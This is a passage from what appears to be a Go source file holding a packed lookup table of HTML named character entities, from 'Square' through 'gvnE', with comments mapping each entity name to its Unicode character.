			"\x12uareSupersetEqual;\x03⊒\x11uareIntersection;\x03⊓\x10uareSubsetEqual;\x03⊑\x0duareSuperset;\x03⊐\x0buareSubset;\x03⊏\x0auareUnion;\x03⊔\x05uare;\x03□\x03rt;\x03√",
			// Sscr;[𝒮].
			"\x03cr;\x04𝒮",
			// Star;[⋆].
			"\x03ar;\x03⋆",
			// SucceedsSlantEqual;[≽] SucceedsEqual;[⪰] SucceedsTilde;[≿] SupersetEqual;[⊇] SubsetEqual;[⊆] Succeeds;[≻] SuchThat;[∋] Superset;[⊃] Subset;[⋐] Supset;[⋑] Sub;[⋐] Sum;[∑] Sup;[⋑].
			"\x11cceedsSlantEqual;\x03≽\x0ccceedsEqual;\x03⪰\x0ccceedsTilde;\x03≿\x0cpersetEqual;\x03⊇\x0absetEqual;\x03⊆\x07cceeds;\x03≻\x07chThat;\x03∋\x07perset;\x03⊃\x05bset;\x03⋐\x05pset;\x03⋑\x02b;\x03⋐\x02m;\x03∑\x02p;\x03⋑",
			// THORN;[Þ] THORN[Þ].
			"\x04ORN;\x02Þ\x03ORN\x02Þ",
			// TRADE;[™].
			"\x04ADE;\x03™",
			// TSHcy;[Ћ] TScy;[Ц].
			"\x04Hcy;\x02Ћ\x03cy;\x02Ц",
			// Tab;[\x9] Tau;[Τ].
			"\x02b;\x01\x9\x02u;\x02Τ",
			// Tcaron;[Ť] Tcedil;[Ţ] Tcy;[Т].
			"\x05aron;\x02Ť\x05edil;\x02Ţ\x02y;\x02Т",
			// Tfr;[𝔗].
			"\x02r;\x04𝔗",
			// ThickSpace;[  ] Therefore;[∴] ThinSpace;[ ] Theta;[Θ].
			"\x09ickSpace;\x06  \x08erefore;\x03∴\x08inSpace;\x03 \x04eta;\x02Θ",
			// TildeFullEqual;[≅] TildeEqual;[≃] TildeTilde;[≈] Tilde;[∼].
			"\x0dldeFullEqual;\x03≅\x09ldeEqual;\x03≃\x09ldeTilde;\x03≈\x04lde;\x03∼",
			// Topf;[𝕋].
			"\x03pf;\x04𝕋",
			// TripleDot;[⃛].
			"\x08ipleDot;\x03⃛",
			// Tstrok;[Ŧ] Tscr;[𝒯].
			"\x05trok;\x02Ŧ\x03cr;\x04𝒯",
			// Uarrocir;[⥉] Uacute;[Ú] Uacute[Ú] Uarr;[↟].
			"\x07rrocir;\x03⥉\x05cute;\x02Ú\x04cute\x02Ú\x03rr;\x03↟",
			// Ubreve;[Ŭ] Ubrcy;[Ў].
			"\x05reve;\x02Ŭ\x04rcy;\x02Ў",
			// Ucirc;[Û] Ucirc[Û] Ucy;[У].
			"\x04irc;\x02Û\x03irc\x02Û\x02y;\x02У",
			// Udblac;[Ű].
			"\x05blac;\x02Ű",
			// Ufr;[𝔘].
			"\x02r;\x04𝔘",
			// Ugrave;[Ù] Ugrave[Ù].
			"\x05rave;\x02Ù\x04rave\x02Ù",
			// Umacr;[Ū].
			"\x04acr;\x02Ū",
			// UnderParenthesis;[⏝] UnderBracket;[⎵] UnderBrace;[⏟] UnionPlus;[⊎] UnderBar;[_] Union;[⋃].
			"\x0fderParenthesis;\x03⏝\x0bderBracket;\x03⎵\x09derBrace;\x03⏟\x08ionPlus;\x03⊎\x07derBar;\x01_\x04ion;\x03⋃",
			// Uogon;[Ų] Uopf;[𝕌].
			"\x04gon;\x02Ų\x03pf;\x04𝕌",
			// UpArrowDownArrow;[⇅] UpperRightArrow;[↗] UpperLeftArrow;[↖] UpEquilibrium;[⥮] UpDownArrow;[↕] Updownarrow;[⇕] UpArrowBar;[⤒] UpTeeArrow;[↥] UpArrow;[↑] Uparrow;[⇑] Upsilon;[Υ] UpTee;[⊥] Upsi;[ϒ].
			"\x0fArrowDownArrow;\x03⇅\x0eperRightArrow;\x03↗\x0dperLeftArrow;\x03↖\x0cEquilibrium;\x03⥮\x0aDownArrow;\x03↕\x0adownarrow;\x03⇕\x09ArrowBar;\x03⤒\x09TeeArrow;\x03↥\x06Arrow;\x03↑\x06arrow;\x03⇑\x06silon;\x02Υ\x04Tee;\x03⊥\x03si;\x02ϒ",
			// Uring;[Ů].
			"\x04ing;\x02Ů",
			// Uscr;[𝒰].
			"\x03cr;\x04𝒰",
			// Utilde;[Ũ].
			"\x05ilde;\x02Ũ",
			// Uuml;[Ü] Uuml[Ü].
			"\x03ml;\x02Ü\x02ml\x02Ü",
			// VDash;[⊫].
			"\x04ash;\x03⊫",
			// Vbar;[⫫].
			"\x03ar;\x03⫫",
			// Vcy;[В].
			"\x02y;\x02В",
			// Vdashl;[⫦] Vdash;[⊩].
			"\x05ashl;\x03⫦\x04ash;\x03⊩",
			// VerticalSeparator;[❘] VerticalTilde;[≀] VeryThinSpace;[ ] VerticalLine;[|] VerticalBar;[∣] Verbar;[‖] Vert;[‖] Vee;[⋁].
			"\x10rticalSeparator;\x03❘\x0crticalTilde;\x03≀\x0cryThinSpace;\x03 \x0brticalLine;\x01|\x0articalBar;\x03∣\x05rbar;\x03‖\x03rt;\x03‖\x02e;\x03⋁",
			// Vfr;[𝔙].
			"\x02r;\x04𝔙",
			// Vopf;[𝕍].
			"\x03pf;\x04𝕍",
			// Vscr;[𝒱].
			"\x03cr;\x04𝒱",
			// Vvdash;[⊪].
			"\x05dash;\x03⊪",
			// Wcirc;[Ŵ].
			"\x04irc;\x02Ŵ",
			// Wedge;[⋀].
			"\x04dge;\x03⋀",
			// Wfr;[𝔚].
			"\x02r;\x04𝔚",
			// Wopf;[𝕎].
			"\x03pf;\x04𝕎",
			// Wscr;[𝒲].
			"\x03cr;\x04𝒲",
			// Xfr;[𝔛].
			"\x02r;\x04𝔛",
			// Xi;[Ξ].
			"\x01;\x02Ξ",
			// Xopf;[𝕏].
			"\x03pf;\x04𝕏",
			// Xscr;[𝒳].
			"\x03cr;\x04𝒳",
			// YAcy;[Я].
			"\x03cy;\x02Я",
			// YIcy;[Ї].
			"\x03cy;\x02Ї",
			// YUcy;[Ю].
			"\x03cy;\x02Ю",
			// Yacute;[Ý] Yacute[Ý].
			"\x05cute;\x02Ý\x04cute\x02Ý",
			// Ycirc;[Ŷ] Ycy;[Ы].
			"\x04irc;\x02Ŷ\x02y;\x02Ы",
			// Yfr;[𝔜].
			"\x02r;\x04𝔜",
			// Yopf;[𝕐].
			"\x03pf;\x04𝕐",
			// Yscr;[𝒴].
			"\x03cr;\x04𝒴",
			// Yuml;[Ÿ].
			"\x03ml;\x02Ÿ",
			// ZHcy;[Ж].
			"\x03cy;\x02Ж",
			// Zacute;[Ź].
			"\x05cute;\x02Ź",
			// Zcaron;[Ž] Zcy;[З].
			"\x05aron;\x02Ž\x02y;\x02З",
			// Zdot;[Ż].
			"\x03ot;\x02Ż",
			// ZeroWidthSpace;[​] Zeta;[Ζ].
			"\x0droWidthSpace;\x03​\x03ta;\x02Ζ",
			// Zfr;[ℨ].
			"\x02r;\x03ℨ",
			// Zopf;[ℤ].
			"\x03pf;\x03ℤ",
			// Zscr;[𝒵].
			"\x03cr;\x04𝒵",
			// aacute;[á] aacute[á].
			"\x05cute;\x02á\x04cute\x02á",
			// abreve;[ă].
			"\x05reve;\x02ă",
			// acirc;[â] acute;[´] acirc[â] acute[´] acE;[∾̳] acd;[∿] acy;[а] ac;[∾].
			"\x04irc;\x02â\x04ute;\x02´\x03irc\x02â\x03ute\x02´\x02E;\x05∾̳\x02d;\x03∿\x02y;\x02а\x01;\x03∾",
			// aelig;[æ] aelig[æ].
			"\x04lig;\x02æ\x03lig\x02æ",
			// afr;[𝔞] af;[⁡].
			"\x02r;\x04𝔞\x01;\x03⁡",
			// agrave;[à] agrave[à].
			"\x05rave;\x02à\x04rave\x02à",
			// alefsym;[ℵ] aleph;[ℵ] alpha;[α].
			"\x06efsym;\x03ℵ\x04eph;\x03ℵ\x04pha;\x02α",
			// amacr;[ā] amalg;[⨿] amp;[&] amp[&].
			"\x04acr;\x02ā\x04alg;\x03⨿\x02p;\x01&\x01p\x01&",
			// andslope;[⩘] angmsdaa;[⦨] angmsdab;[⦩] angmsdac;[⦪] angmsdad;[⦫] angmsdae;[⦬] angmsdaf;[⦭] angmsdag;[⦮] angmsdah;[⦯] angrtvbd;[⦝] angrtvb;[⊾] angzarr;[⍼] andand;[⩕] angmsd;[∡] angsph;[∢] angle;[∠] angrt;[∟] angst;[Å] andd;[⩜] andv;[⩚] ange;[⦤] and;[∧] ang;[∠].
			"\x07dslope;\x03⩘\x07gmsdaa;\x03⦨\x07gmsdab;\x03⦩\x07gmsdac;\x03⦪\x07gmsdad;\x03⦫\x07gmsdae;\x03⦬\x07gmsdaf;\x03⦭\x07gmsdag;\x03⦮\x07gmsdah;\x03⦯\x07grtvbd;\x03⦝\x06grtvb;\x03⊾\x06gzarr;\x03⍼\x05dand;\x03⩕\x05gmsd;\x03∡\x05gsph;\x03∢\x04gle;\x03∠\x04grt;\x03∟\x04gst;\x02Å\x03dd;\x03⩜\x03dv;\x03⩚\x03ge;\x03⦤\x02d;\x03∧\x02g;\x03∠",
			// aogon;[ą] aopf;[𝕒].
			"\x04gon;\x02ą\x03pf;\x04𝕒",
			// approxeq;[≊] apacir;[⩯] approx;[≈] apid;[≋] apos;['] apE;[⩰] ape;[≊] ap;[≈].
			"\x07proxeq;\x03≊\x05acir;\x03⩯\x05prox;\x03≈\x03id;\x03≋\x03os;\x01'\x02E;\x03⩰\x02e;\x03≊\x01;\x03≈",
			// aring;[å] aring[å].
			"\x04ing;\x02å\x03ing\x02å",
			// asympeq;[≍] asymp;[≈] ascr;[𝒶] ast;[*].
			"\x06ympeq;\x03≍\x04ymp;\x03≈\x03cr;\x04𝒶\x02t;\x01*",
			// atilde;[ã] atilde[ã].
			"\x05ilde;\x02ã\x04ilde\x02ã",
			// auml;[ä] auml[ä].
			"\x03ml;\x02ä\x02ml\x02ä",
			// awconint;[∳] awint;[⨑].
			"\x07conint;\x03∳\x04int;\x03⨑",
			// bNot;[⫭].
			"\x03ot;\x03⫭",
			// backepsilon;[϶] backprime;[‵] backsimeq;[⋍] backcong;[≌] barwedge;[⌅] backsim;[∽] barvee;[⊽] barwed;[⌅].
			"\x0ackepsilon;\x02϶\x08ckprime;\x03‵\x08cksimeq;\x03⋍\x07ckcong;\x03≌\x07rwedge;\x03⌅\x06cksim;\x03∽\x05rvee;\x03⊽\x05rwed;\x03⌅",
			// bbrktbrk;[⎶] bbrk;[⎵].
			"\x07rktbrk;\x03⎶\x03rk;\x03⎵",
			// bcong;[≌] bcy;[б].
			"\x04ong;\x03≌\x02y;\x02б",
			// bdquo;[„].
			"\x04quo;\x03„",
			// because;[∵] bemptyv;[⦰] between;[≬] becaus;[∵] bernou;[ℬ] bepsi;[϶] beta;[β] beth;[ℶ].
			"\x06cause;\x03∵\x06mptyv;\x03⦰\x06tween;\x03≬\x05caus;\x03∵\x05rnou;\x03ℬ\x04psi;\x02϶\x03ta;\x02β\x03th;\x03ℶ",
			// bfr;[𝔟].
			"\x02r;\x04𝔟",
			// bigtriangledown;[▽] bigtriangleup;[△] bigotimes;[⨂] bigoplus;[⨁] bigsqcup;[⨆] biguplus;[⨄] bigwedge;[⋀] bigcirc;[◯] bigodot;[⨀] bigstar;[★] bigcap;[⋂] bigcup;[⋃] bigvee;[⋁].
			"\x0egtriangledown;\x03▽\x0cgtriangleup;\x03△\x08gotimes;\x03⨂\x07goplus;\x03⨁\x07gsqcup;\x03⨆\x07guplus;\x03⨄\x07gwedge;\x03⋀\x06gcirc;\x03◯\x06godot;\x03⨀\x06gstar;\x03★\x05gcap;\x03⋂\x05gcup;\x03⋃\x05gvee;\x03⋁",
			// bkarow;[⤍].
			"\x05arow;\x03⤍",
			// blacktriangleright;[▸] blacktriangledown;[▾] blacktriangleleft;[◂] blacktriangle;[▴] blacklozenge;[⧫] blacksquare;[▪] blank;[␣] blk12;[▒] blk14;[░] blk34;[▓] block;[█].
			"\x11acktriangleright;\x03▸\x10acktriangledown;\x03▾\x10acktriangleleft;\x03◂\x0cacktriangle;\x03▴\x0backlozenge;\x03⧫\x0aacksquare;\x03▪\x04ank;\x03␣\x04k12;\x03▒\x04k14;\x03░\x04k34;\x03▓\x04ock;\x03█",
			// bnequiv;[≡⃥] bnot;[⌐] bne;[=⃥].
			"\x06equiv;\x06≡⃥\x03ot;\x03⌐\x02e;\x04=⃥",
			// boxminus;[⊟] boxtimes;[⊠] boxplus;[⊞] bottom;[⊥] bowtie;[⋈] boxbox;[⧉] boxDL;[╗] boxDR;[╔] boxDl;[╖] boxDr;[╓] boxHD;[╦] boxHU;[╩] boxHd;[╤] boxHu;[╧] boxUL;[╝] boxUR;[╚] boxUl;[╜] boxUr;[╙] boxVH;[╬] boxVL;[╣] boxVR;[╠] boxVh;[╫] boxVl;[╢] boxVr;[╟] boxdL;[╕] boxdR;[╒] boxdl;[┐] boxdr;[┌] boxhD;[╥] boxhU;[╨] boxhd;[┬] boxhu;[┴] boxuL;[╛] boxuR;[╘] boxul;[┘] boxur;[└] boxvH;[╪] boxvL;[╡] boxvR;[╞] boxvh;[┼] boxvl;[┤] boxvr;[├] bopf;[𝕓] boxH;[═] boxV;[║] boxh;[─] boxv;[│] bot;[⊥].
			"\x07xminus;\x03⊟\x07xtimes;\x03⊠\x06xplus;\x03⊞\x05ttom;\x03⊥\x05wtie;\x03⋈\x05xbox;\x03⧉\x04xDL;\x03╗\x04xDR;\x03╔\x04xDl;\x03╖\x04xDr;\x03╓\x04xHD;\x03╦\x04xHU;\x03╩\x04xHd;\x03╤\x04xHu;\x03╧\x04xUL;\x03╝\x04xUR;\x03╚\x04xUl;\x03╜\x04xUr;\x03╙\x04xVH;\x03╬\x04xVL;\x03╣\x04xVR;\x03╠\x04xVh;\x03╫\x04xVl;\x03╢\x04xVr;\x03╟\x04xdL;\x03╕\x04xdR;\x03╒\x04xdl;\x03┐\x04xdr;\x03┌\x04xhD;\x03╥\x04xhU;\x03╨\x04xhd;\x03┬\x04xhu;\x03┴\x04xuL;\x03╛\x04xuR;\x03╘\x04xul;\x03┘\x04xur;\x03└\x04xvH;\x03╪\x04xvL;\x03╡\x04xvR;\x03╞\x04xvh;\x03┼\x04xvl;\x03┤\x04xvr;\x03├\x03pf;\x04𝕓\x03xH;\x03═\x03xV;\x03║\x03xh;\x03─\x03xv;\x03│\x02t;\x03⊥",
			// bprime;[‵].
			"\x05rime;\x03‵",
			// brvbar;[¦] breve;[˘] brvbar[¦].
			"\x05vbar;\x02¦\x04eve;\x02˘\x04vbar\x02¦",
			// bsolhsub;[⟈] bsemi;[⁏] bsime;[⋍] bsolb;[⧅] bscr;[𝒷] bsim;[∽] bsol;[\\].
			"\x07olhsub;\x03⟈\x04emi;\x03⁏\x04ime;\x03⋍\x04olb;\x03⧅\x03cr;\x04𝒷\x03im;\x03∽\x03ol;\x01\\",
			// bullet;[•] bumpeq;[≏] bumpE;[⪮] bumpe;[≏] bull;[•] bump;[≎].
			"\x05llet;\x03•\x05mpeq;\x03≏\x04mpE;\x03⪮\x04mpe;\x03≏\x03ll;\x03•\x03mp;\x03≎",
			// capbrcup;[⩉] cacute;[ć] capand;[⩄] capcap;[⩋] capcup;[⩇] capdot;[⩀] caret;[⁁] caron;[ˇ] caps;[∩︀] cap;[∩].
			"\x07pbrcup;\x03⩉\x05cute;\x02ć\x05pand;\x03⩄\x05pcap;\x03⩋\x05pcup;\x03⩇\x05pdot;\x03⩀\x04ret;\x03⁁\x04ron;\x02ˇ\x03ps;\x06∩︀\x02p;\x03∩",
			// ccupssm;[⩐] ccaron;[č] ccedil;[ç] ccaps;[⩍] ccedil[ç] ccirc;[ĉ] ccups;[⩌].
			"\x06upssm;\x03⩐\x05aron;\x02č\x05edil;\x02ç\x04aps;\x03⩍\x04edil\x02ç\x04irc;\x02ĉ\x04ups;\x03⩌",
			// cdot;[ċ].
			"\x03ot;\x02ċ",
			// centerdot;[·] cemptyv;[⦲] cedil;[¸] cedil[¸] cent;[¢] cent[¢].
			"\x08nterdot;\x02·\x06mptyv;\x03⦲\x04dil;\x02¸\x03dil\x02¸\x03nt;\x02¢\x02nt\x02¢",
			// cfr;[𝔠].
			"\x02r;\x04𝔠",
			// checkmark;[✓] check;[✓] chcy;[ч] chi;[χ].
			"\x08eckmark;\x03✓\x04eck;\x03✓\x03cy;\x02ч\x02i;\x02χ",
			// circlearrowright;[↻] circlearrowleft;[↺] circledcirc;[⊚] circleddash;[⊝] circledast;[⊛] circledR;[®] circledS;[Ⓢ] cirfnint;[⨐] cirscir;[⧂] circeq;[≗] cirmid;[⫯] cirE;[⧃] circ;[ˆ] cire;[≗] cir;[○].
			"\x0frclearrowright;\x03↻\x0erclearrowleft;\x03↺\x0arcledcirc;\x03⊚\x0arcleddash;\x03⊝\x09rcledast;\x03⊛\x07rcledR;\x02®\x07rcledS;\x03Ⓢ\x07rfnint;\x03⨐\x06rscir;\x03⧂\x05rceq;\x03≗\x05rmid;\x03⫯\x03rE;\x03⧃\x03rc;\x02ˆ\x03re;\x03≗\x02r;\x03○",
			// clubsuit;[♣] clubs;[♣].
			"\x07ubsuit;\x03♣\x04ubs;\x03♣",
			// complement;[∁] complexes;[ℂ] coloneq;[≔] congdot;[⩭] colone;[≔] commat;[@] compfn;[∘] conint;[∮] coprod;[∐] copysr;[℗] colon;[:] comma;[,] comp;[∁] cong;[≅] copf;[𝕔] copy;[©] copy[©].
			"\x09mplement;\x03∁\x08mplexes;\x03ℂ\x06loneq;\x03≔\x06ngdot;\x03⩭\x05lone;\x03≔\x05mmat;\x01@\x05mpfn;\x03∘\x05nint;\x03∮\x05prod;\x03∐\x05pysr;\x03℗\x04lon;\x01:\x04mma;\x01,\x03mp;\x03∁\x03ng;\x03≅\x03pf;\x04𝕔\x03py;\x02©\x02py\x02©",
			// crarr;[↵] cross;[✗].
			"\x04arr;\x03↵\x04oss;\x03✗",
			// csube;[⫑] csupe;[⫒] cscr;[𝒸] csub;[⫏] csup;[⫐].
			"\x04ube;\x03⫑\x04upe;\x03⫒\x03cr;\x04𝒸\x03ub;\x03⫏\x03up;\x03⫐",
			// ctdot;[⋯].
			"\x04dot;\x03⋯",
			// curvearrowright;[↷] curvearrowleft;[↶] curlyeqprec;[⋞] curlyeqsucc;[⋟] curlywedge;[⋏] cupbrcap;[⩈] curlyvee;[⋎] cudarrl;[⤸] cudarrr;[⤵] cularrp;[⤽] curarrm;[⤼] cularr;[↶] cupcap;[⩆] cupcup;[⩊] cupdot;[⊍] curarr;[↷] curren;[¤] cuepr;[⋞] cuesc;[⋟] cupor;[⩅] curren[¤] cuvee;[⋎] cuwed;[⋏] cups;[∪︀] cup;[∪].
			"\x0ervearrowright;\x03↷\x0drvearrowleft;\x03↶\x0arlyeqprec;\x03⋞\x0arlyeqsucc;\x03⋟\x09rlywedge;\x03⋏\x07pbrcap;\x03⩈\x07rlyvee;\x03⋎\x06darrl;\x03⤸\x06darrr;\x03⤵\x06larrp;\x03⤽\x06rarrm;\x03⤼\x05larr;\x03↶\x05pcap;\x03⩆\x05pcup;\x03⩊\x05pdot;\x03⊍\x05rarr;\x03↷\x05rren;\x02¤\x04epr;\x03⋞\x04esc;\x03⋟\x04por;\x03⩅\x04rren\x02¤\x04vee;\x03⋎\x04wed;\x03⋏\x03ps;\x06∪︀\x02p;\x03∪",
			// cwconint;[∲] cwint;[∱].
			"\x07conint;\x03∲\x04int;\x03∱",
			// cylcty;[⌭].
			"\x05lcty;\x03⌭",
			// dArr;[⇓].
			"\x03rr;\x03⇓",
			// dHar;[⥥].
			"\x03ar;\x03⥥",
			// dagger;[†] daleth;[ℸ] dashv;[⊣] darr;[↓] dash;[‐].
			"\x05gger;\x03†\x05leth;\x03ℸ\x04shv;\x03⊣\x03rr;\x03↓\x03sh;\x03‐",
			// dbkarow;[⤏] dblac;[˝].
			"\x06karow;\x03⤏\x04lac;\x02˝",
			// dcaron;[ď] dcy;[д].
			"\x05aron;\x02ď\x02y;\x02д",
			// ddagger;[‡] ddotseq;[⩷] ddarr;[⇊] dd;[ⅆ].
			"\x06agger;\x03‡\x06otseq;\x03⩷\x04arr;\x03⇊\x01;\x03ⅆ",
			// demptyv;[⦱] delta;[δ] deg;[°] deg[°].
			"\x06mptyv;\x03⦱\x04lta;\x02δ\x02g;\x02°\x01g\x02°",
			// dfisht;[⥿] dfr;[𝔡].
			"\x05isht;\x03⥿\x02r;\x04𝔡",
			// dharl;[⇃] dharr;[⇂].
			"\x04arl;\x03⇃\x04arr;\x03⇂",
			// divideontimes;[⋇] diamondsuit;[♦] diamond;[⋄] digamma;[ϝ] divide;[÷] divonx;[⋇] diams;[♦] disin;[⋲] divide[÷] diam;[⋄] die;[¨] div;[÷].
			"\x0cvideontimes;\x03⋇\x0aamondsuit;\x03♦\x06amond;\x03⋄\x06gamma;\x02ϝ\x05vide;\x02÷\x05vonx;\x03⋇\x04ams;\x03♦\x04sin;\x03⋲\x04vide\x02÷\x03am;\x03⋄\x02e;\x02¨\x02v;\x02÷",
			// djcy;[ђ].
			"\x03cy;\x02ђ",
			// dlcorn;[⌞] dlcrop;[⌍].
			"\x05corn;\x03⌞\x05crop;\x03⌍",
			// downharpoonright;[⇂] downharpoonleft;[⇃] doublebarwedge;[⌆] downdownarrows;[⇊] dotsquare;[⊡] downarrow;[↓] doteqdot;[≑] dotminus;[∸] dotplus;[∔] dollar;[$] doteq;[≐] dopf;[𝕕] dot;[˙].
			"\x0fwnharpoonright;\x03⇂\x0ewnharpoonleft;\x03⇃\x0dublebarwedge;\x03⌆\x0dwndownarrows;\x03⇊\x08tsquare;\x03⊡\x08wnarrow;\x03↓\x07teqdot;\x03≑\x07tminus;\x03∸\x06tplus;\x03∔\x05llar;\x01$\x04teq;\x03≐\x03pf;\x04𝕕\x02t;\x02˙",
			// drbkarow;[⤐] drcorn;[⌟] drcrop;[⌌].
			"\x07bkarow;\x03⤐\x05corn;\x03⌟\x05crop;\x03⌌",
			// dstrok;[đ] dscr;[𝒹] dscy;[ѕ] dsol;[⧶].
			"\x05trok;\x02đ\x03cr;\x04𝒹\x03cy;\x02ѕ\x03ol;\x03⧶",
			// dtdot;[⋱] dtrif;[▾] dtri;[▿].
			"\x04dot;\x03⋱\x04rif;\x03▾\x03ri;\x03▿",
			// duarr;[⇵] duhar;[⥯].
			"\x04arr;\x03⇵\x04har;\x03⥯",
			// dwangle;[⦦].
			"\x06angle;\x03⦦",
			// dzigrarr;[⟿] dzcy;[џ].
			"\x07igrarr;\x03⟿\x03cy;\x02џ",
			// eDDot;[⩷] eDot;[≑].
			"\x04Dot;\x03⩷\x03ot;\x03≑",
			// eacute;[é] easter;[⩮] eacute[é].
			"\x05cute;\x02é\x05ster;\x03⩮\x04cute\x02é",
			// ecaron;[ě] ecolon;[≕] ecirc;[ê] ecir;[≖] ecirc[ê] ecy;[э].
			"\x05aron;\x02ě\x05olon;\x03≕\x04irc;\x02ê\x03ir;\x03≖\x03irc\x02ê\x02y;\x02э",
			// edot;[ė].
			"\x03ot;\x02ė",
			// ee;[ⅇ].
			"\x01;\x03ⅇ",
			// efDot;[≒] efr;[𝔢].
			"\x04Dot;\x03≒\x02r;\x04𝔢",
			// egrave;[è] egsdot;[⪘] egrave[è] egs;[⪖] eg;[⪚].
			"\x05rave;\x02è\x05sdot;\x03⪘\x04rave\x02è\x02s;\x03⪖\x01;\x03⪚",
			// elinters;[⏧] elsdot;[⪗] ell;[ℓ] els;[⪕] el;[⪙].
			"\x07inters;\x03⏧\x05sdot;\x03⪗\x02l;\x03ℓ\x02s;\x03⪕\x01;\x03⪙",
			// emptyset;[∅] emptyv;[∅] emsp13;[ ] emsp14;[ ] emacr;[ē] empty;[∅] emsp;[ ].
			"\x07ptyset;\x03∅\x05ptyv;\x03∅\x05sp13;\x03 \x05sp14;\x03 \x04acr;\x02ē\x04pty;\x03∅\x03sp;\x03 ",
			// ensp;[ ] eng;[ŋ].
			"\x03sp;\x03 \x02g;\x02ŋ",
			// eogon;[ę] eopf;[𝕖].
			"\x04gon;\x02ę\x03pf;\x04𝕖",
			// epsilon;[ε] eparsl;[⧣] eplus;[⩱] epsiv;[ϵ] epar;[⋕] epsi;[ε].
			"\x06silon;\x02ε\x05arsl;\x03⧣\x04lus;\x03⩱\x04siv;\x02ϵ\x03ar;\x03⋕\x03si;\x02ε",
			// eqslantless;[⪕] eqslantgtr;[⪖] eqvparsl;[⧥] eqcolon;[≕] equivDD;[⩸] eqcirc;[≖] equals;[=] equest;[≟] eqsim;[≂] equiv;[≡].
			"\x0aslantless;\x03⪕\x09slantgtr;\x03⪖\x07vparsl;\x03⧥\x06colon;\x03≕\x06uivDD;\x03⩸\x05circ;\x03≖\x05uals;\x01=\x05uest;\x03≟\x04sim;\x03≂\x04uiv;\x03≡",
			// erDot;[≓] erarr;[⥱].
			"\x04Dot;\x03≓\x04arr;\x03⥱",
			// esdot;[≐] escr;[ℯ] esim;[≂].
			"\x04dot;\x03≐\x03cr;\x03ℯ\x03im;\x03≂",
			// eta;[η] eth;[ð] eth[ð].
			"\x02a;\x02η\x02h;\x02ð\x01h\x02ð",
			// euml;[ë] euro;[€] euml[ë].
			"\x03ml;\x02ë\x03ro;\x03€\x02ml\x02ë",
			// exponentiale;[ⅇ] expectation;[ℰ] exist;[∃] excl;[!].
			"\x0bponentiale;\x03ⅇ\x0apectation;\x03ℰ\x04ist;\x03∃\x03cl;\x01!",
			// fallingdotseq;[≒].
			"\x0cllingdotseq;\x03≒",
			// fcy;[ф].
			"\x02y;\x02ф",
			// female;[♀].
			"\x05male;\x03♀",
			// ffilig;[ffi] ffllig;[ffl] fflig;[ff] ffr;[𝔣].
			"\x05ilig;\x03ffi\x05llig;\x03ffl\x04lig;\x03ff\x02r;\x04𝔣",
			// filig;[fi].
			"\x04lig;\x03fi",
			// fjlig;[fj].
			"\x04lig;\x02fj",
			// fllig;[fl] fltns;[▱] flat;[♭].
			"\x04lig;\x03fl\x04tns;\x03▱\x03at;\x03♭",
			// fnof;[ƒ].
			"\x03of;\x02ƒ",
			// forall;[∀] forkv;[⫙] fopf;[𝕗] fork;[⋔].
			"\x05rall;\x03∀\x04rkv;\x03⫙\x03pf;\x04𝕗\x03rk;\x03⋔",
			// fpartint;[⨍].
			"\x07artint;\x03⨍",
			// frac12;[½] frac13;[⅓] frac14;[¼] frac15;[⅕] frac16;[⅙] frac18;[⅛] frac23;[⅔] frac25;[⅖] frac34;[¾] frac35;[⅗] frac38;[⅜] frac45;[⅘] frac56;[⅚] frac58;[⅝] frac78;[⅞] frac12[½] frac14[¼] frac34[¾] frasl;[⁄] frown;[⌢].
			"\x05ac12;\x02½\x05ac13;\x03⅓\x05ac14;\x02¼\x05ac15;\x03⅕\x05ac16;\x03⅙\x05ac18;\x03⅛\x05ac23;\x03⅔\x05ac25;\x03⅖\x05ac34;\x02¾\x05ac35;\x03⅗\x05ac38;\x03⅜\x05ac45;\x03⅘\x05ac56;\x03⅚\x05ac58;\x03⅝\x05ac78;\x03⅞\x04ac12\x02½\x04ac14\x02¼\x04ac34\x02¾\x04asl;\x03⁄\x04own;\x03⌢",
			// fscr;[𝒻].
			"\x03cr;\x04𝒻",
			// gEl;[⪌] gE;[≧].
			"\x02l;\x03⪌\x01;\x03≧",
			// gacute;[ǵ] gammad;[ϝ] gamma;[γ] gap;[⪆].
			"\x05cute;\x02ǵ\x05mmad;\x02ϝ\x04mma;\x02γ\x02p;\x03⪆",
			// gbreve;[ğ].
			"\x05reve;\x02ğ",
			// gcirc;[ĝ] gcy;[г].
			"\x04irc;\x02ĝ\x02y;\x02г",
			// gdot;[ġ].
			"\x03ot;\x02ġ",
			// geqslant;[⩾] gesdotol;[⪄] gesdoto;[⪂] gesdot;[⪀] gesles;[⪔] gescc;[⪩] geqq;[≧] gesl;[⋛︀] gel;[⋛] geq;[≥] ges;[⩾] ge;[≥].
			"\x07qslant;\x03⩾\x07sdotol;\x03⪄\x06sdoto;\x03⪂\x05sdot;\x03⪀\x05sles;\x03⪔\x04scc;\x03⪩\x03qq;\x03≧\x03sl;\x06⋛︀\x02l;\x03⋛\x02q;\x03≥\x02s;\x03⩾\x01;\x03≥",
			// gfr;[𝔤].
			"\x02r;\x04𝔤",
			// ggg;[⋙] gg;[≫].
			"\x02g;\x03⋙\x01;\x03≫",
			// gimel;[ℷ].
			"\x04mel;\x03ℷ",
			// gjcy;[ѓ].
			"\x03cy;\x02ѓ",
			// glE;[⪒] gla;[⪥] glj;[⪤] gl;[≷].
			"\x02E;\x03⪒\x02a;\x03⪥\x02j;\x03⪤\x01;\x03≷",
			// gnapprox;[⪊] gneqq;[≩] gnsim;[⋧] gnap;[⪊] gneq;[⪈] gnE;[≩] gne;[⪈].
			"\x07approx;\x03⪊\x04eqq;\x03≩\x04sim;\x03⋧\x03ap;\x03⪊\x03eq;\x03⪈\x02E;\x03≩\x02e;\x03⪈",
			// gopf;[𝕘].
			"\x03pf;\x04𝕘",
			// grave;[`].
			"\x04ave;\x01`",
			// gsime;[⪎] gsiml;[⪐] gscr;[ℊ] gsim;[≳].
			"\x04ime;\x03⪎\x04iml;\x03⪐\x03cr;\x03ℊ\x03im;\x03≳",
			// gtreqqless;[⪌] gtrapprox;[⪆] gtreqless;[⋛] gtquest;[⩼] gtrless;[≷] gtlPar;[⦕] gtrarr;[⥸] gtrdot;[⋗] gtrsim;[≳] gtcir;[⩺] gtdot;[⋗] gtcc;[⪧] gt;[>].
			"\x09reqqless;\x03⪌\x08rapprox;\x03⪆\x08reqless;\x03⋛\x06quest;\x03⩼\x06rless;\x03≷\x05lPar;\x03⦕\x05rarr;\x03⥸\x05rdot;\x03⋗\x05rsim;\x03≳\x04cir;\x03⩺\x04dot;\x03⋗\x03cc;\x03⪧\x01;\x01>",
			// gvertneqq;[≩︀] gvnE;[≩︀].
